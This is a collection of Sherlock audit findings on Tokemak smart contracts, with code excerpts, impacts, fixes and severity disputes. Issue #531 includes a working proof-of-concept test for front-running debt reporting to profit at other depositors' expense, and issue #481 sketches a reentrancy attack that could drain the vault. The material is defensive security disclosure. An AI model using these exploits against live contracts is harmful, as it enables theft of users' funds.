Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/1
0x007, 0x3b, 0xComfyCat, 0xDjango, 0xJuda, 0xSurena, 0xbepresent, 0xdeadbeef, 0xmuxyz, 0xvj, Breeje, Flora, SaharDevep, TangYuanShen, VAD37, asui, berndartmueller, bin2chen, caelumimperium, chaduke, ck, duc, enfrasico, harisnabeel, lemonmon, lodelux, n33k, nobody2018, p0wd3r, pengun, rvierdiiev, saidam017, shogoki, talfao, vagrant, warRoom, xiaoming90
Due to the fact that the WETH obtained through _processEthIn
belongs to the contract, and pullToken
transfers assets from msg.sender
, it is possible for users to transfer excess WETH to the contract, allowing attackers to steal WETH from within the contract using sweepToken
.
Both mint
and deposit
in LMPVaultRouterBase
have this problem.
In the deposit
function, if the user pays with ETH, it will first call _processEthIn
to wrap it and then call pullToken
to transfer.
/// @inheritdoc ILMPVaultRouterBase function deposit( ILMPVault vault, address to, uint256 amount, uint256 minSharesOut ) public payable virtual override returns (uint256 sharesOut) { // handle possible eth _processEthIn(vault); IERC20 vaultAsset = IERC20(vault.asset()); pullToken(vaultAsset, amount, address(this)); return _deposit(vault, to, amount, minSharesOut); }
_processEthIn
will wrap ETH into WETH, and these WETH belong to the contract itself.
function _processEthIn(ILMPVault vault) internal { // if any eth sent, wrap it first if (msg.value > 0) { // if asset is not weth, revert if (address(vault.asset()) != address(weth9)) { revert InvalidAsset(); } // wrap eth weth9.deposit{ value: msg.value }(); } }
However, pullToken
transfers from msg.sender
and does not use the WETH obtained in _processEthIn
.
function pullToken(IERC20 token, uint256 amount, address recipient) public payable { token.safeTransferFrom(msg.sender, recipient, amount); }
If the user deposits 10 ETH and approves 10 WETH to the contract, when the deposit amount is 10, all of the user's 20 WETH will be transferred into the contract.
However, due to the amount
being 10, only 10 WETH will be deposited into the vault, and the remaining 10 WETH can be stolen by the attacker using sweepToken
.
function sweepToken(IERC20 token, uint256 amountMinimum, address recipient) public payable { uint256 balanceToken = token.balanceOf(address(this)); if (balanceToken < amountMinimum) revert InsufficientToken(); if (balanceToken > 0) { token.safeTransfer(recipient, balanceToken); } }
Both mint
and deposit
in LMPVaultRouterBase
have this problem.
ETH deposited by the user may be stolen.
Manual Review
Perform operations based on the size of msg.value
and amount
:
msg.value == amount
: transfer WETH from contract not msg.sender
msg.value > amount
: transfer WETH from contract not msg.sender
and refund to msg.sender
msg.value < amount
: transfer WETH from contract and transfer remaining from msg.sender
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/5
0x73696d616f, 0xbepresent, Aymen0909, Ch_301, Kalyan-Singh, TangYuanShen, berndartmueller, bin2chen, bitsurfer, carrotsmuggler, duc, lemonmon, nobody2018, p0wd3r, pengun, rvierdiiev, saidam017, talfao, warRoom, xiaoming90
Destination Vault rewards are not added to idleIncrease
when info.totalAssetsPulled > info.totalAssetsToPull
in _withdraw
of LMPVault
.
This result in rewards not being recorded by LMPVault
and ultimately frozen in the contract.
In the _withdraw
function, Destination Vault rewards will be first recorded in info.IdleIncrease
by info.idleIncrease += _baseAsset.balanceOf(address(this)) - assetPreBal - assetPulled;
.
But when info.totalAssetsPulled > info.totalAssetsToPull
, info.idleIncrease
is directly assigned as info.totalAssetsPulled - info.totalAssetsToPull
, and info.totalAssetsPulled
is assetPulled
without considering Destination Vault rewards.
uint256 assetPreBal = _baseAsset.balanceOf(address(this)); uint256 assetPulled = destVault.withdrawBaseAsset(sharesToBurn, address(this)); // Destination Vault rewards will be transferred to us as part of burning out shares // Back into what that amount is and make sure it gets into idle info.idleIncrease += _baseAsset.balanceOf(address(this)) - assetPreBal - assetPulled; info.totalAssetsPulled += assetPulled; info.debtDecrease += totalDebtBurn; // It's possible we'll get back more assets than we anticipate from a swap // so if we do, throw it in idle and stop processing. You don't get more than we've calculated if (info.totalAssetsPulled > info.totalAssetsToPull) { info.idleIncrease = info.totalAssetsPulled - info.totalAssetsToPull; info.totalAssetsPulled = info.totalAssetsToPull; break; }
For example,
// preBal == 100 pulled == 10 reward == 5 toPull == 6 // idleIncrease = 115 - 100 - 10 == 5 // totalPulled(0) += assetPulled == 10 > toPull // idleIncrease = totalPulled - toPull == 4 < reward
The final info.idleIncrease
does not record the reward, and these assets are not ultimately recorded by the Vault.
The final info.idleIncrease
does not record the reward, and these assets are not ultimately recorded by the Vault.
Meanwhile, due to the recover
function's inability to extract the baseAsset
, this will result in no operations being able to handle these Destination Vault rewards, ultimately causing these assets to be frozen within the contract.
Manual Review
info.idleIncrease = info.totalAssetsPulled - info.totalAssetsToPull;
-> info.idleIncrease += info.totalAssetsPulled - info.totalAssetsToPull;
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/205
0x007, 0x3b, 0x73696d616f, 0xDjango, 0xJuda, 0xSurena, 0xTheC0der, 0xbepresent, 0xvj, ADM, Angry_Mustache_Man, Ch_301, Kalyan-Singh, MrjoryStewartBaxter, berndartmueller, bin2chen, duc, lil.eth, lodelux, nobody2018, p0wd3r, pengun, rvierdiiev, saidam017, shaka, talfao, xiaoming90
LiquidationRow acts as an orchestrator of claiming process. It liquidates tokens across vaults using the liquidateVaultsForToken function. This function has a flaw and will revert. Swapper contract is called during the function call, but tokens are not transferred to it nor tokens are transferred back from the swapper to the calling contract. Based on other parts of the codebase the problem is that swapper should be invoked with a low-level delegatecall instead of a normal call.
The LiquidationRow contract is an orchestrator for the claiming process. It is primarily used to collect rewards for vaults. It has a method called liquidateVaultsForToken. Based on docs this method is for: Conducts the liquidation process for a specific token across a list of vaults, performing the necessary balance adjustments, initiating the swap process via the asyncSwapper, taking a fee from the received amount, and queues the remaining swapped tokens in the MainRewarder associated with each vault.
function liquidateVaultsForToken( address fromToken, address asyncSwapper, IDestinationVault[] memory vaultsToLiquidate, SwapParams memory params ) external nonReentrant hasRole(Roles.LIQUIDATOR_ROLE) onlyWhitelistedSwapper(asyncSwapper) { uint256 gasBefore = gasleft(); (uint256 totalBalanceToLiquidate, uint256[] memory vaultsBalances) = _prepareForLiquidation(fromToken, vaultsToLiquidate); _performLiquidation( gasBefore, fromToken, asyncSwapper, vaultsToLiquidate, params, totalBalanceToLiquidate, vaultsBalances ); }
The second part of the function is performing the liquidation by calling _performLiquidation. A problem is at the beginning of it. IAsyncSwapper is called to swap tokens.
function _performLiquidation( uint256 gasBefore, address fromToken, address asyncSwapper, IDestinationVault[] memory vaultsToLiquidate, SwapParams memory params, uint256 totalBalanceToLiquidate, uint256[] memory vaultsBalances ) private { uint256 length = vaultsToLiquidate.length; // the swapper checks that the amount received is greater or equal than the params.buyAmount uint256 amountReceived = IAsyncSwapper(asyncSwapper).swap(params); // ... }
As you can see the LiquidationRow doesn't transfer the tokens to swapper and swapper doesn't pul them either (swap function here). Because of this the function reverses.
I noticed that there is no transfer back to LiquidationRow from Swapper either. Tokens can't get in or out.
When I searched the codebase, I found that Swapper is being called on another place using the delegatecall method. This way it can operate with the tokens of the caller. The call can be found here - LMPVaultRouter.sol:swapAndDepositToVault. So I think that instead of missing transfer, the problem is actually in the way how swapper is called.
Rewards collected through LiquidationRow claimsVaultRewards get stuck in the contract. Liquidation can't be called because it reverts when Swapper tries to work with tokens it doesn't possess.
Manual Review
Change the async swapper call from the normal function call to the low-level delegatecall function the same way it is done in LMPVaultRouter.sol:swapAndDepositToVault.
I would like to address that AsyncSwapperMock in LiquidationRow.t.sol is a poorly written mock and should be updated to represent how the AsyncSwapper work. It would be nice to update the test suite for LiquidationRow because its current state won't catch this. If you check the LiquidationRow.t.sol tests, the mock swap function only mints tokens, no need to use delegatecall. This is why tests missed this vulnerability.
queueNewRewards
is called, caller could transfer tokens more than it should beSource: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/379
0xVolodya, 0xbepresent, 0xvj, 1nc0gn170, Angry_Mustache_Man, Aymen0909, BPZ, Kalyan-Singh, berndartmueller, bin2chen, bitsurfer, bulej93, caelumimperium, chaduke, duc, l3r0ux, lemonmon, lil.eth, p0wd3r, pengun, saidam017, shaka, wangxx2026, xiaoming90
queueNewRewards
is used for Queues the specified amount of new rewards for distribution to stakers. However, it used wrong calculated value when pulling token funds from the caller, could make caller transfer tokens more that it should be.
Inside queueNewRewards
, irrespective of whether we're near the start or the end of a reward period, if the accrued rewards are too large relative to the new rewards (queuedRatio
is greater than newRewardRatio
), the new rewards will be added to the queue (queuedRewards
) rather than being immediately distributed.
function queueNewRewards(uint256 newRewards) external onlyWhitelisted { uint256 startingQueuedRewards = queuedRewards; uint256 startingNewRewards = newRewards; newRewards += startingQueuedRewards; if (block.number >= periodInBlockFinish) { notifyRewardAmount(newRewards); queuedRewards = 0; } else { uint256 elapsedBlock = block.number - (periodInBlockFinish - durationInBlock); uint256 currentAtNow = rewardRate * elapsedBlock; uint256 queuedRatio = currentAtNow * 1000 / newRewards; if (queuedRatio < newRewardRatio) { notifyRewardAmount(newRewards); queuedRewards = 0; } else { queuedRewards = newRewards; } } emit QueuedRewardsUpdated(startingQueuedRewards, startingNewRewards, queuedRewards); // Transfer the new rewards from the caller to this contract. IERC20(rewardToken).safeTransferFrom(msg.sender, address(this), newRewards); }
However, when this function tried to pull funds from sender via safeTransferFrom
, it used newRewards
amount, which already added by startingQueuedRewards
. If previously queuedRewards
already have value, the processed amount will be wrong.
There are two possible issue here :
queuedRewards
is not 0, and the caller don't have enough funds or approval, the call will revert due to this logic error.queuedRewards
is not 0, and the caller have enough funds and approval, the caller funds will be pulled more than it should (reward param + queuedRewards
)https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/rewarders/AbstractRewarder.sol#L236-L239
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/rewarders/AbstractRewarder.sol#L260
Manual Review
Update the transfer to use startingNewRewards
instead of newRewards
:
function queueNewRewards(uint256 newRewards) external onlyWhitelisted { uint256 startingQueuedRewards = queuedRewards; uint256 startingNewRewards = newRewards; newRewards += startingQueuedRewards; if (block.number >= periodInBlockFinish) { notifyRewardAmount(newRewards); queuedRewards = 0; } else { uint256 elapsedBlock = block.number - (periodInBlockFinish - durationInBlock); uint256 currentAtNow = rewardRate * elapsedBlock; uint256 queuedRatio = currentAtNow * 1000 / newRewards; if (queuedRatio < newRewardRatio) { notifyRewardAmount(newRewards); queuedRewards = 0; } else { queuedRewards = newRewards; } } emit QueuedRewardsUpdated(startingQueuedRewards, startingNewRewards, queuedRewards); // Transfer the new rewards from the caller to this contract. - IERC20(rewardToken).safeTransferFrom(msg.sender, address(this), newRewards); + IERC20(rewardToken).safeTransferFrom(msg.sender, address(this), startingNewRewards); }
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/481
0x007, 0xVolodya, Kalyan-Singh
CurveV2CryptoEthOracle assumes that Curve pools that could be reentered must have 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
token. But this is a wrong assumption cause tokens with WETH token could be reentered too.
CurveV2CryptoEthOracle.registerPool
takes checkReentrancy
parameters and this should be True only for pools that have 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
tokens and this is validated here.
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; ... // Only need ability to check for read-only reentrancy for pools containing native Eth. if (checkReentrancy) { if (tokens[0] != ETH && tokens[1] != ETH) revert MustHaveEthForReentrancy(); }
This Oracle is meant for Curve V2 pools and the ones I've seen so far use WETH address instead of 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
(like Curve V1) and this applies to all pools listed by Tokemak.
For illustration, I'll use the same pool used to test proper registration. The test is for CRV_ETH_CURVE_V2_POOL
but this applies to other V2 pools including rETH/ETH. The pool address for CRV_ETH_CURVE_V2_POOL
is 0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511 while token address is 0xEd4064f376cB8d68F770FB1Ff088a3d0F3FF5c4d.
If you interact with the pool, the coins are:
0 - WETH - 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
1 - CRV - 0xD533a949740bb3306d119CC777fa900bA034cd52
So how can WETH be reentered?!
Because Curve can accept ETH for WETH pools.
A look at the pool again shows that Curve uses python kwargs and it includes a variable use_eth
for exchange
, add_liquidity
, remove_liquidity
and remove_liquidity_one_coin
.
def exchange(i: uint256, j: uint256, dx: uint256, min_dy: uint256, use_eth: bool = False) -> uint256: def add_liquidity(amounts: uint256[N_COINS], min_mint_amount: uint256, use_eth: bool = False) -> uint256: def remove_liquidity(_amount: uint256, min_amounts: uint256[N_COINS], use_eth: bool = False): def remove_liquidity_one_coin(token_amount: uint256, i: uint256, min_amount: uint256, use_eth: bool = False) -> uint256:
When use_eth
is true
, it would take msg.value
instead of transfer WETH from user. And it would make a raw call instead of transfer WETH to user.
If raw call is sent to user, then they could reenter LMP vault and attack the protocol and it would be successful cause CurveV2CryptoEthOracle would not check for reentrancy in getPriceInEth
// Checking for read only reentrancy scenario. if (poolInfo.checkReentrancy == 1) { // This will fail in a reentrancy situation. cryptoPool.claim_admin_fees(); }
A profitable attack that could be used to drain the vault involves
The protocol could be attacked with price manipulation using Curve read only reentrancy. The consequence would be fatal because getPriceInEth
is used for evaluating debtValue and this evaluation decides shares and debt that would be burned in a withdrawal. Therefore, an inflated value allows attacker to withdraw too many asset for their shares. This could be abused to drain assets on LMPVault.
The attack is cheap, easy and could be bundled in as a flashloan attack. And it puts the whole protocol at risk cause a large portion of their deposit would be on Curve V2 pools with WETH token.
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/oracles/providers/CurveV2CryptoEthOracle.sol#L121-L123
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/oracles/providers/CurveV2CryptoEthOracle.sol#L160-L163
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/test/oracles/providers/CurveV2CryptoEthOracle.t.sol#L126-L136
https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code
Manual Review
If CurveV2CryptoEthOracle is meant for CurveV2 pools with WETH (and no 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE), then change the ETH address to weth. As far as I can tell Curve V2 uses WETH address for ETH but this needs to be verified.
- if (tokens[0] != ETH && tokens[1] != ETH) revert MustHaveEthForReentrancy(); + if (tokens[0] != WETH && tokens[1] != WETH) revert MustHaveEthForReentrancy();
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/531
Kalyan-Singh, berndartmueller, lemonmon
updateDebtReporting takes in a user input of destinations in array whose debt to report, so if a destination vault is incurring loss and is not on the front of withdrawalQueue than a attacker can just update debt for only the destination which are incurring a profit and withdraw in the same txn. He will exit the vault with profit, others who withdraw after the legit updateDebtReporting txn will suffer even more loss than they should have, as some part of the profit which was used to offset the loss was taken by the attacker and protocol fees
POC-
Test for POC -
Add it to LMPVaultMintingTests contract in LMPVault-Withdraw.t.sol file under path test/vault. run it via the command
forge test --match-path test/vault/LMPVault-Withdraw.t.sol --match-test test_AvoidTheLoss -vv
function test_AvoidTheLoss() public { // for simplicity sake, i'll be assuming vault keeps nothing idle // as it does not affect the attack vector in any ways _accessController.grantRole(Roles.SOLVER_ROLE, address(this)); _accessController.grantRole(Roles.LMP_FEE_SETTER_ROLE, address(this)); address feeSink = vm.addr(555); _lmpVault.setFeeSink(feeSink); _lmpVault.setPerformanceFeeBps(2000); // 20% address alice = address(789); uint initialBalanceAlice = 1000; // User is going to deposit 1000 asset _asset.mint(address(this), 1000); _asset.approve(address(_lmpVault), 1000); uint shareBalUser = _lmpVault.deposit(1000, address(this)); _underlyerOne.mint(address(this),500); _underlyerOne.approve(address(_lmpVault),500); _lmpVault.rebalance( address(_destVaultOne), address(_underlyerOne), 500, address(0), address(_asset), 1000 ); _asset.mint(alice,initialBalanceAlice); vm.startPrank(alice); _asset.approve(address(_lmpVault),initialBalanceAlice); uint shareBalAlice = _lmpVault.deposit(initialBalanceAlice,alice); vm.stopPrank(); // rebalance to 2nd vault _underlyerTwo.mint(address(this), 1000); _underlyerTwo.approve(address(_lmpVault),1000); _lmpVault.rebalance( address(_destVaultTwo), address(_underlyerTwo), 1000, address(0), address(_asset), 1000 ); // the second destVault incurs loss, 10% _mockRootPrice(address(_underlyerTwo), 0.9 ether); // the first vault incurs some profit, 5% // so lmpVault is in netLoss of 50 baseAsset _mockRootPrice(address(_underlyerOne), 2.1 ether); // malicious updateDebtReporting by alice address[] memory alteredDestinations = new address[](1); alteredDestinations[0] = address(_destVaultOne); vm.prank(alice); _lmpVault.updateDebtReporting(alteredDestinations); // alice withdraws first vm.prank(alice); _lmpVault.redeem(shareBalAlice , alice,alice); uint finalBalanceAlice = _asset.balanceOf(alice); emit log_named_uint("final Balance of alice ", finalBalanceAlice); // protocol also collects its fees // further wrecking the remaining LPs emit log_named_uint("Fees shares give to feeSink ", _lmpVault.balanceOf(feeSink)); assertGt( finalBalanceAlice, initialBalanceAlice); assertGt(_lmpVault.balanceOf(feeSink), 0); // now updateDebtReporting again but for all DVs _lmpVault.updateDebtReporting(_destinations); emit log_named_uint("Remaining LPs can only get ",_lmpVault.maxWithdraw(address(this))); emit log_named_uint("Protocol falsely earned(in base asset)", _lmpVault.maxWithdraw(feeSink)); emit log_named_uint("Vault totalAssets" , _lmpVault.totalAssets()); emit log_named_uint("Effective loss take by LPs", 1000 - _lmpVault.maxWithdraw(address(this))); emit log_named_uint("Profit for Alice",_asset.balanceOf(alice) - initialBalanceAlice); }
Logs:
final Balance of alice : 1019
Fees shares give to feeSink : 10
Remaining LPs can only get : 920
Protocol falsely earned(in base asset): 9
Vault totalAssets: 930
Effective loss take by LPs: 80
Profit for Alice: 19
Theft of user funds.
Submitting as high as attacker only needs to frontrun a updateDebtReporting txn with malicious input and withdraw his funds.
function updateDebtReporting(address[] calldata _destinations) external nonReentrant trackNavOps { // @audit < user controlled input _updateDebtReporting(_destinations); }
Manual Review
updateDebtReporting should not have any input param, should by default update for all added destination vaults
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/587
xiaoming90
Stat calculator returns incorrect reports for swETH, causing multiple implications that could lead to losses to the protocol,
The purpose of the in-scope SwEthEthOracle
contract is to act as a price oracle specifically for swETH (Swell ETH) per the comment in the contract below and the codebase's README
File: SwEthEthOracle.sol 12: /** 13: * @notice Price oracle specifically for swEth (Swell Eth). 14: * @dev getPriceEth is not a view fn to support reentrancy checks. Does not actually change state. 15: */ 16: contract SwEthEthOracle is SystemComponent, IPriceOracle {
Per the codebase in the contest repository, the price oracle for the swETH is understood to be configured to the SwEthEthOracle
contract at Line 252 below.
File: RootOracleIntegrationTest.t.sol 162: swEthOracle = new SwEthEthOracle(systemRegistry, IswETH(SWETH_MAINNET)); ..SNIP.. 249: // Lst special pricing case setup 250: // priceOracle.registerMapping(SFRXETH_MAINNET, IPriceOracle(address(sfrxEthOracle))); 251: priceOracle.registerMapping(WSTETH_MAINNET, IPriceOracle(address(wstEthOracle))); 252: priceOracle.registerMapping(SWETH_MAINNET, IPriceOracle(address(swEthOracle)));
Thus, in the context of this audit, the price oracle for the swETH is mapped to the SwEthEthOracle
contract.
Both the swETH oracle and calculator use the same built-in swEth.swETHToETHRate
function to retrieve the price of swETH in ETH.
LST | Oracle | Calculator | Rebasing |
---|---|---|---|
swETH | SwEthEthOracle - swEth.swETHToETHRate() | SwethLSTCalculator - IswETH(lstTokenAddress).swETHToETHRate() | False |
File: SwEthEthOracle.sol 25: /// @inheritdoc IPriceOracle 26: function getPriceInEth(address token) external view returns (uint256 price) { ..SNIP.. 30: // Returns in 1e18 precision. 31: price = swEth.swETHToETHRate(); 32: }
File: SwethLSTCalculator.sol 12: function calculateEthPerToken() public view override returns (uint256) { 13: return IswETH(lstTokenAddress).swETHToETHRate(); 14: }
Within the LSTCalculatorBase.current
function, assume that the swEth.swETHToETHRate
function returns when called. In this case, the price
at Line 203 below and backing
in Line 210 below will be set to since the getPriceInEth
and calculateEthPerToken
functions depend on the same swEth.swETHToETHRate
function internally. Thus, priceToBacking
will always be 1e18:
Since priceToBacking
is always 1e18, the premium
will always be zero:
As a result, the calculator for swETH will always report the wrong statistic report for swETH. If there is a premium or discount, the calculator will wrongly report none.
File: LSTCalculatorBase.sol 189: function current() external returns (LSTStatsData memory) { ..SNIP.. 202: IRootPriceOracle pricer = systemRegistry.rootPriceOracle(); 203: uint256 price = pricer.getPriceInEth(lstTokenAddress); ..SNIP.. 210: uint256 backing = calculateEthPerToken(); 211: // price is always 1e18 and backing is in eth, which is 1e18 212: priceToBacking = price * 1e18 / backing; 213: } 214: 215: // positive value is a premium; negative value is a discount 216: int256 premium = int256(priceToBacking) - 1e18; 217: 218: return LSTStatsData({ 219: lastSnapshotTimestamp: lastSnapshotTimestamp, 220: baseApr: baseApr, 221: premium: premium, 222: slashingCosts: slashingCosts, 223: slashingTimestamps: slashingTimestamps 224: }); 225: }
The purpose of the stats/calculators contracts is to store, augment, and clean data relevant to the LMPs. When the solver proposes a rebalance, the strategy uses the stats contracts to calculate a composite return (score) for the proposed destinations. Using that composite return, it determines if the swap is beneficial for the vault.
If a stat calculator provides inaccurate information, it can cause multiple implications that lead to losses to the protocol, such as false signals allowing the unprofitable rebalance to be executed.
Manual Review
When handling the swETH within the LSTCalculatorBase.current
function, consider other methods of obtaining the fair market price of swETH that do not rely on the swEth.swETHToETHRate
function such as external 3rd-party price oracle.
sherlock-admin2
1 comment(s) were left on this issue during the judging contest.
Trumpero commented:
invalid, I think it's intended to let premium = 0 in case of swETH. Also I don't see any further vulnerability if premium = 0
xiaoming9090
Escalate
After my discussion with the protocol team during the audit period (as shown below), the purpose of the premium
variable is to determine if an LST is trading at a premium/discount relative to its actual ETH backing. This is one of the signals the protocol team uses to estimate the expected return for holding an LST position.
It is incorrect that the premium for swETH is intended to be always zero, as mentioned in the judging comment. If the premium always returns zero, the stat calculator for swETH is effectively broken, which is a serious issue. The judging comment is also incorrect in stating there is no vulnerability if the premium is zero. The stat calculator exists for a reason, and an incorrect stat calculator ultimately leads to losses to the protocol, as mentioned in the "Impact" section of my report:
The purpose of the stats/calculators contracts is to store, augment, and clean data relevant to the LMPs. When the solver proposes a rebalance, the strategy uses the stats contracts to calculate a composite return (score) for the proposed destinations. Using that composite return, it determines if the swap is beneficial for the vault.
If a stat calculator provides inaccurate information, it can cause multiple implications that lead to losses to the protocol, such as false signals allowing the unprofitable rebalance to be executed.
Thus, this is a valid High issue.
sherlock-admin2
Escalate
After my discussion with the protocol team during the audit period (as shown below), the purpose of the
premium
variable is to determine if an LST is trading at a premium/discount relative to its actual ETH backing. This is one of the signals the protocol team uses to estimate the expected return for holding an LST position.It is incorrect that the premium for swETH is intended to be always zero, as mentioned in the judging comment. If the premium always returns zero, the stat calculator for swETH is effectively broken, which is a serious issue. The judging comment is also incorrect in stating there is no vulnerability if the premium is zero. The stat calculator exists for a reason, and an incorrect stat calculator ultimately leads to losses to the protocol, as mentioned in the "Impact" section of my report:
The purpose of the stats/calculators contracts is to store, augment, and clean data relevant to the LMPs. When the solver proposes a rebalance, the strategy uses the stats contracts to calculate a composite return (score) for the proposed destinations. Using that composite return, it determines if the swap is beneficial for the vault.
If a stat calculator provides inaccurate information, it can cause multiple implications that lead to losses to the protocol, such as false signals allowing the unprofitable rebalance to be executed.
Thus, this is a valid High issue.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
Trumpero
Can u take a look at this issue @codenutt ?
codenutt
Can u take a look at this issue @codenutt ?
Yup definitely an issue. Its more an issue with the oracle itself than the calculator, but an issue none the less.
Evert0x
Planning to accept escalation and make issue high.
Evert0x
Result:
High
Unique
sherlock-admin2
Escalations have been resolved successfully!
Escalation status:
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/589
xiaoming90
A DV might be incorrectly marked as not sitting in a loss, thus allowing users to burn all the DV shares, locking in all the loss of the DV and the vault shareholders.
Let be a certain destination vault.
Assume that at , the current debt value (currentDvDebtValue
) of is 95 WETH, and the last debt value (updatedDebtBasis
) is 100 WETH. Since the current debt value has become smaller than the last debt value, the vault is making a loss of 5 WETH since the last rebalancing, so is sitting at a loss, and users can only burn a limited amount of DestinationVault_A's shares.
Assume that at , there is some slight rebalancing performed on , and a few additional LP tokens are deposited to it. Thus, its current debt value increased to 98 WETH. At the same time, the destInfo.debtBasis
and destInfo.ownedShares
will be updated to the current value.
Immediately after the rebalancing, will not be considered sitting in a loss since the currentDvDebtValue
and updatedDebtBasis
should be equal now. As a result, users could now burn all the shares of the LMPVault during withdrawal.
suddenly becomes not sitting at a loss even though the fact is that it is still sitting at a loss of 5 WETH. The loss has been written off.
File: LMPDebt.sol 274: // Neither of these numbers include rewards from the DV 275: if (currentDvDebtValue < updatedDebtBasis) { 276: // We are currently sitting at a loss. Limit the value we can pull from 277: // the destination vault 278: currentDvDebtValue = currentDvDebtValue.mulDiv(userShares, totalVaultShares, Math.Rounding.Down); 279: currentDvShares = currentDvShares.mulDiv(userShares, totalVaultShares, Math.Rounding.Down); 280: }
A DV might be incorrectly marked as not sitting in a loss, thus allowing users to burn all the DV shares, locking in all the loss of the DV and the vault shareholders.
Manual Review
Consider a more sophisticated approach to track a DV's Profit and Loss (PnL).
In our example, should only be considered not making a loss if the price of the LP tokens starts to appreciate and cover the loss of 5 WETH.
sherlock-admin2
1 comment(s) were left on this issue during the judging contest.
Trumpero commented:
invalid, it is intended that sitting at a loss is considered by comparing the current debt to the latest recorded debt. Additionally, when it considers not sitting at a loss, it doesn't limit the value can pull but it only pulls enough tokens to withdraw. These withdrawn tokens will not be locked
xiaoming9090
Escalate
The main point of this report is to highlight the issues with the current algorithm/approach of tracking the PnL of a DV and marking it as sitting on a loss or not, which is obviously incorrect, as shown in my report. I have discussed this issue with the protocol team during the audit period, and the impact is undesirable, as shown below.
It should not be confused with how it is intended to be used in other parts of the protocol, which is unrelated. In addition, the intended approach does not mean that those issues/risks are acceptable and thus considered invalid. If the approach is incorrect, those issues must be flagged during the audit.
Thus, this is a valid High issue.
sherlock-admin2
Escalate
The main point of this report is to highlight the issues with the current algorithm/approach of tracking the PnL of a DV and marking it as sitting on a loss or not, which is obviously incorrect, as shown in my report. I have discussed this issue with the protocol team during the audit period, and the impact is undesirable, as shown below.
It should not be confused with how it is intended to be used in other parts of the protocol, which is unrelated. In addition, the intended approach does not mean that those issues/risks are acceptable and thus considered invalid. If the approach is incorrect, those issues must be flagged during the audit.
Thus, this is a valid High issue.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
Trumpero
Tks for the clarification @xiaoming9090
Please review this issue as well @codenutt
codenutt
Tks for the clarification @xiaoming9090 Please review this issue as well @codenutt
Yup agree with @xiaoming9090 here.
Evert0x
Planning to accept escalation and make issue high severity
@Trumpero
Trumpero
Agree with the high severity
Evert0x
Result:
High
Unique
sherlock-admin2
Escalations have been resolved successfully!
Escalation status:
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/600
0xVolodya, Aymen0909, bin2chen, enfrasico, nobody2018, saidam017, talfao, xiaoming90
The price returned by the stat calculators will be excessively inflated, which could lead to multiple implications that lead to losses to the protocol.
The price
at Line 137 below is denominated in 18 decimals as the getPriceInEth
function always returns the price in 18 decimals precision.
There is no need to scale the accumulated price by 1e18.
existing._initAcc
) to be inflated significantlyAssume that throughout the initialization process, the getPriceInEth(XYZ)
always returns 2 ETH (2e18). After 18 rounds (INIT_SAMPLE_COUNT == 18
) of initialization, existing._initAcc
will equal 36 ETH (36e18). As such, the averagePrice
will be as follows:
averagePrice = existing._initAcc * 1e18 / INIT_SAMPLE_COUNT; averagePrice = 36e18 * 1e18 / 18 averagePrice = 36e36 / 18 averagePrice = 2e36
existing.fastFilterPrice
and existing.slowFilterPrice
will be set to 2e36
at Lines 157 and 158 below.
In the post-init phase, the getPriceInEth
function return 3 ETH (3e18). Thus, the following code will be executed at Line 144s and 155 below:
existing.slowFilterPrice = Stats.getFilteredValue(SLOW_ALPHA, existing.slowFilterPrice, price); existing.fastFilterPrice = Stats.getFilteredValue(FAST_ALPHA, existing.fastFilterPrice, price); existing.slowFilterPrice = Stats.getFilteredValue(SLOW_ALPHA, 2e36, 3e18); // SLOW_ALPHA = 645e14; // 0.0645 existing.fastFilterPrice = Stats.getFilteredValue(FAST_ALPHA, 2e36, 3e18); // FAST_ALPHA = 33e16; // 0.33
As shown above, the existing filter prices are significantly inflated by the scale of 1e18, which results in the prices being extremely skewed.
Using the formula of fast filter, the final fast filter price computed will be as follows:
((priorValue * (1e18 - alpha)) + (currentValue * alpha)) / 1e18 ((priorValue * (1e18 - 33e16)) + (currentValue * 33e16)) / 1e18 ((priorValue * 67e16) + (currentValue * 33e16)) / 1e18 ((2e36 * 67e16) + (3e18 * 33e16)) / 1e18 1.34e36 (1340000000000000000 ETH)
The token is supposed only to be worth around 3 ETH. However, the fast filter price wrongly determine that it is worth around 1340000000000000000 ETH
